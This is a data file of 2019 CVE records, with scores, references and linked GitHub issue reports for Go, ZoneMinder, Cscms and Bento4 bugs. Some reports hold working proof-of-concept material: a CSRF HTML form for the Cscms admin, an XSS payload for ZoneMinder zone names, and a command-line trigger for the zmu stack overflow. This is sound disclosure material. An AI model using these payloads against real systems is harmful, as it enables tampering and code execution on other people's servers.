[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00060.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00011.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00015.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106740" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/commit/42b42f71cf8f5956c09e66230293dfb5db652360" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/29903" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/google/wycheproof" }, { "source": "[email protected]", "tags": null, "url": "https://groups.google.com/forum/#%21topic/golang-announce/mVeX35iXuSw" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00009.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4379" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4380" } ]

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https://github.com/golang/go/issues/29903

[ "Third Party Advisory" ]

github.com

[ "golang", "go" ]

A DoS vulnerability in the crypto/elliptic implementations of the P-521 and P-384 elliptic curves may let an attacker craft inputs that consume excessive amounts of CPU. These inputs might be delivered via TLS handshakes, X.509 certificates, JWT tokens, ECDH shares or ECDSA signatures. In some cases, if an ECDH private key is reused more than once, the attack can also lead to key recovery. This issue is CVE-2019-6486. It was found and reported by [the Wycheproof project](https://github.com/google/wycheproof).

crypto/elliptic: CPU DoS vulnerability affecting P-521 and P-384

https://api.github.com/repos/golang/go/issues/29903/comments

8

2019-01-23T21:47:29Z

2020-03-13T20:17:47Z

https://github.com/golang/go/issues/29903

402,444,291

29,903

CVE-2019-6777

2019-01-24T15:29:01.017

An issue was discovered in ZoneMinder v1.32.3. Reflected XSS exists in web/skins/classic/views/plugin.php via the zm/index.php?view=plugin pl parameter.

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[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2436" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/mnoorenberghe/ZoneMinder/commit/59cc65411f02c7e39a270fda3ecb4966d7b48d41" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2436

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** -ZoneMinder v1.32.3 **Describe the bug** Reflective XSS vulnerability **To Reproduce** ZoneMinder has one reflective XSS vulnerabilities 1.plugin.php line 106 The parameters in the request are accepted at 39 lines, and the page is output at 106 lines without verification. ![default](https://user-images.githubusercontent.com/39950310/51591378-ca50f680-1f27-11e9-88f8-38bba2d435c8.png) ![default](https://user-images.githubusercontent.com/39950310/51591391-d8067c00-1f27-11e9-97a5-cc5a643090b7.png) **Expected behavior** The vulnerability mcan lead to user information leakage, unauthorized operation **Debug Logs** ``` <insert debug logs here, please make sure they are within the ``` quotes so they are formatted properly> ```

Reflective XSS vulnerability

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2436/comments

3

2019-01-23T08:03:50Z

2019-01-24T20:23:21Z

https://github.com/ZoneMinder/zoneminder/issues/2436

402,115,314

2,436

CVE-2019-6779

2019-01-24T19:29:00.197

Cscms 4.1.8 allows admin.php/links/save CSRF to add, modify, or delete friend links.

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[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/chshcms/cscms/issues/3" } ]

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https://github.com/chshcms/cscms/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "chshcms", "cscms" ]

just use add friend links for example: After the admin logged in, we can send him a url with these code on that page PoC: ```html <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:9000/admin.php/links/save" method="POST"> <input type="hidden" name="name" value="test" /> <input type="hidden" name="url" value="http://www.google.com" /> <input type="hidden" name="cid" value="1" /> <input type="hidden" name="pic" value="http://" /> <input type="hidden" name="sid" value="1" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` after he clicked that button, then we can add our malicious link to the friend link: admin page: <img width="1224" alt="screen shot 2019-01-24 at 22 32 53" src="https://user-images.githubusercontent.com/17252049/51684919-21d68b80-2028-11e9-9ac6-e8cef2ea321f.png"> homepage: <img width="910" alt="qq20190124-224351 2x" src="https://user-images.githubusercontent.com/17252049/51685599-965dfa00-2029-11e9-8b25-034e0f431b38.png">

There is a CSRF vulnerability that can add/modify/delete friend links

https://api.github.com/repos/chshcms/cscms/issues/3/comments

0

2019-01-24T14:51:59Z

2020-02-27T04:22:34Z

https://github.com/chshcms/cscms/issues/3

402,743,077

3

CVE-2019-6966

2019-01-25T23:29:00.237

An issue was discovered in Bento4 1.5.1-628. The AP4_ElstAtom class in Core/Ap4ElstAtom.cpp has an attempted excessive memory allocation related to AP4_Array<AP4_ElstEntry>::EnsureCapacity in Core/Ap4Array.h, as demonstrated by mp42hls.

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[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/361" } ]

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https://github.com/axiomatic-systems/Bento4/issues/361

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

A crafted input will lead to failed allocate LargeMmapAllocator in Ap4Array.h at Bento4 1.5.1-628. Triggered by ./mp42hls crash3.mp4 Poc [poc1.zip](https://github.com/axiomatic-systems/Bento4/files/2795098/poc1.zip) Bento4 Version 1.5.1-628 The ASAN information is as follows: ``` ==56305==ERROR: AddressSanitizer failed to allocate 0xc00003000 (51539619840) bytes of LargeMmapAllocator (errno: 12) ==56305==Process memory map follows: 0x000000400000-0x0000007b4000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b4000-0x0000009b5000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b5000-0x000000b5b000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x616000000000 0x616000000000-0x616000020000 0x616000020000-0x619000000000 0x619000000000-0x619000020000 0x619000020000-0x621000000000 0x621000000000-0x621000020000 0x621000020000-0x631000000000 0x631000000000-0x631000030000 0x631000030000-0x640000000000 0x640000000000-0x640000003000 0x7ff016000000-0x7ff016100000 0x7ff016200000-0x7ff016300000 0x7ff01635e000-0x7ff0186b0000 0x7ff0186b0000-0x7ff0187b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0187b8000-0x7ff0189b7000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b7000-0x7ff0189b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b8000-0x7ff0189b9000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b9000-0x7ff0189bc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff0189bc000-0x7ff018bbb000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbb000-0x7ff018bbc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbc000-0x7ff018bbd000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbd000-0x7ff018bd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018bd5000-0x7ff018dd4000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd4000-0x7ff018dd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd5000-0x7ff018dd6000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd6000-0x7ff018dda000 0x7ff018dda000-0x7ff018f9a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff018f9a000-0x7ff01919a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919a000-0x7ff01919e000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919e000-0x7ff0191a0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0191a0000-0x7ff0191a4000 0x7ff0191a4000-0x7ff0191ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0191ba000-0x7ff0193b9000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193b9000-0x7ff0193ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193ba000-0x7ff01952c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01952c000-0x7ff01972c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01972c000-0x7ff019736000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019736000-0x7ff019738000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019738000-0x7ff01973c000 0x7ff01973c000-0x7ff019830000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019830000-0x7ff019a30000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a30000-0x7ff019a33000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a33000-0x7ff019a34000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a34000-0x7ff01a6a9000 0x7ff01a6a9000-0x7ff01a6cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a81a000-0x7ff01a8b8000 0x7ff01a8b8000-0x7ff01a8ce000 0x7ff01a8ce000-0x7ff01a8cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8cf000-0x7ff01a8d0000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8d0000-0x7ff01a8d1000 0x7ffc5d59c000-0x7ffc5d5bd000 [stack] 0x7ffc5d5c2000-0x7ffc5d5c4000 [vvar] 0x7ffc5d5c4000-0x7ffc5d5c6000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==56305==End of process memory map. ==56305==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:121 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0) #0 0x7ff0197dc631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7ff0197e15e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7ff0197e9611 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xad611) #3 0x7ff01975ec0c (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22c0c) #4 0x7ff0197d54fe in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x994fe) #5 0x550cef in AP4_Array<AP4_ElstEntry>::EnsureCapacity(unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4Array.h:172 #6 0x550017 in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:73 #7 0x54fd41 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:51 #8 0x522fcb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:545 #9 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x488805 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:88 #13 0x523eba in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:764 #14 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #15 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #16 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #17 0x4a2174 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.cpp:165 #18 0x524ab5 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4TrakAtom.h:58 #19 0x52231f in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:379 #20 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #21 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #22 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #23 0x530ca3 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.cpp:80 #24 0x524a59 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4MoovAtom.h:56 #25 0x522198 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:359 #26 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #27 0x5207c7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:151 #28 0x48f2c5 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:104 #29 0x48ef34 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4File.cpp:78 #30 0x45eebd in main /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1846 #31 0x7ff018dfa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #32 0x4549e8 in _start (/home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls+0x4549e8) ``` FoundBy: [email protected]

failed to allocate LargeMmapAllocator in Ap4Array.h at Bento4 v1.5.1-628 when running mp42hls

https://api.github.com/repos/axiomatic-systems/Bento4/issues/361/comments

1

2019-01-25T07:49:22Z

2019-12-26T14:50:59Z

https://github.com/axiomatic-systems/Bento4/issues/361

403,042,062

361

CVE-2019-6990

2019-01-28T20:29:00.310

A stored-self XSS exists in web/skins/classic/views/zones.php of ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in a vulnerable field via a crafted Zone NAME to the index.php?view=zones&action=zoneImage&mid=1 URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/commit/a3e8fd4fd5b579865f35aac3b964bc78d5b7a94a" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2444" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2444

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** In the view `zone`, an user can add/view/delete zones. While adding a zone, there exists no input filtration, allowing an attacker to inject unintended values. Later while displaying the zone names on the webpage,there exists no output filtration, leading to Self - Stored based XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=zones&action=zoneImage&mid=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL - Click on `Add a new zone` (pop-up appears) - Add the XSS payload into the `NAME` field & select any of option from the `Type` dropdown field & click on save. - Navigate back to the Affected URL, payload would be triggered. <img width="638" alt="zones" src="https://user-images.githubusercontent.com/47003572/51701075-a3cdb100-2036-11e9-8bc6-796486fed4a6.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Stored Self-Cross Site Scripting (XSS) - zones.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2444/comments

0

2019-01-24T18:48:25Z

2019-01-25T13:15:12Z

https://github.com/ZoneMinder/zoneminder/issues/2444

402,845,981

2,444

CVE-2019-6991

2019-01-28T20:29:00.373

A classic Stack-based buffer overflow exists in the zmLoadUser() function in zm_user.cpp of the zmu binary in ZoneMinder through 1.32.3, allowing an unauthenticated attacker to execute code via a long username.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2478" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/pull/2482" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2478

[ "Issue Tracking", "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** A Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. **To Reproduce** _Affected Binary_ - zmu An attacker can exploit the buffer by smashing the stack and modifying the return address of the function. This can be used to call some other function, like pointing the return address to some custom shellcode, injected into the stack. _In function_: `zmLoadUser()` _Vulnerable function_: `mysql_real_escape_string()` _Detail_: The vulnerability exists in function `zmLoadUser()`, in `zm_user.cpp`, while authenticating the user. The vulnerability exists in the login functionality. Once a username & password is supplied to the zmu binary, the username & password is passed through `mysql_real_escape_string()` function in order to produce an escaped SQL string. Due to absense of any protection and limitation placed to the length of username & password, there exists a stack based buffer overflow. _Vulnerable code -_ ``` char safer_username[65]; mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); ``` ``` char safer_password[129]; mysql_real_escape_string(&dbconn, safer_password, password, strlen( password ) ); ``` <img width="742" alt="stack" src="https://user-images.githubusercontent.com/47003572/51722837-c84c7c00-207c-11e9-9cff-76a3a1a102e4.png"> <img width="673" alt="stack 2" src="https://user-images.githubusercontent.com/47003572/51722836-c7b3e580-207c-11e9-9216-2bd43f5e1568.png"> _Setup_ - We need to compile the binary from source, using custom flags, inorder to trigger & debug the vulnerability. _Steps to compile_ - - mkdir build (In zoneminder directory) - cd build - cmake .. -DCMAKE_C_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector" -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-stack-protector" - cd src/ _Command to run_ - ./zmu -U $(python -c "print 'a'*645") -P admin _Root Cause Analysis_ - Vulnerable function syntax - unsigned long mysql_real_escape_string(MYSQL *mysql, char *to, const char *from, unsigned long length) Characters in the `from` argument are escaped & the result is placed in the `to` argument, of the length specified, followed by a terminating null byte . As per the Mysql documentation, "The string pointed to by `from` must be length bytes long. You must allocate the `to` buffer to be at least length*2+1 bytes long. (In the worst case, each character may need to be encoded as using two bytes, and there must be room for the terminating null byte.) When mysql_real_escape_string() returns, the contents of to is a null-terminated string." But as per the current code, the length is calculated form the lenth of the `username` & `password`(from) argument & can exceed more than the `safer_username` & `safer_password` (to) limit, which is an fixed array (safer_username[65] & safer_password[129]), causing stack based buffer overflow. By looking at the comments written in `zmLoadUser()` function (zm_user.cpp), the `to` argumunt array is calculated based upon the current db username size, which is of 32. Following what's said in the documentation (length*2+1 bytes long), 2*32+1 = 65 is the limit set for the `to` argument - safer_username (same for safer_password). Ignoring the fact that there's no limit set for the username, password input received to the binary. ``` 93 94 // According to docs, size of safer_whatever must be 2*length+1 due to unicode conversions + null terminator. → 95 mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); 96 97 if ( password ) { ``` ``` gef➤ p username $9 = 0xbffff5ee 'a' gef➤ p safer_username $17 = 'a' gef➤ p/d strlen( username ) $19 = 645 ``` Initially the username & password pointer address remains valid, until it reaches safer_username, populating other pointer addresses with the injected payload. ``` 95 mysql_real_escape_string(&dbconn, safer_username, username, strlen( username ) ); 96 // password=0xbffef344 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" → 97 if ( password ) { 98 char safer_password[129]; // current db password size is 64 ``` ``` ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x80d2a17 → zmLoadUser(username=0x61616161 <error: Cannot access memory at address 0x61616161>, password=0x61616161 <error: Cannot access memory at address 0x61616161>) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ x/150wx safer_username 0xbffef15b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef16b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef17b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef18b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef19b: 0x61616161 0x61616161 0x61616161 0x61616161 . . . . . . 0xbffef32b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef33b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef34b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef35b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef36b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef37b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef38b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef39b: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffef3ab: 0x61616161 0x61616161 gef➤ x 0xbffef34b - 0x17 //Offset to Address of password 0xbffef334: 0x61616161 ``` Here we can see, how the pointer address values are populated with the injected values (a's) . Later the code, when the pointer addresses are accessed, segmentation fault is raised due to an invalid memory access. **Expected behavior** - An attacker can Bypass authentication by overwriting the function pointer. It should limit the username limit. **Debug Logs** ``` None ```

Stack based buffer Overflow - /src/zm_user.cpp (zmu)

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2478/comments

1

2019-01-25T03:16:25Z

2019-01-25T13:48:05Z

https://github.com/ZoneMinder/zoneminder/issues/2478

402,988,560

2,478

CVE-2019-6992

2019-01-28T20:29:00.437

A stored-self XSS exists in web/skins/classic/views/controlcaps.php of ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in a vulnerable field via a long NAME or PROTOCOL to the index.php?view=controlcaps URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

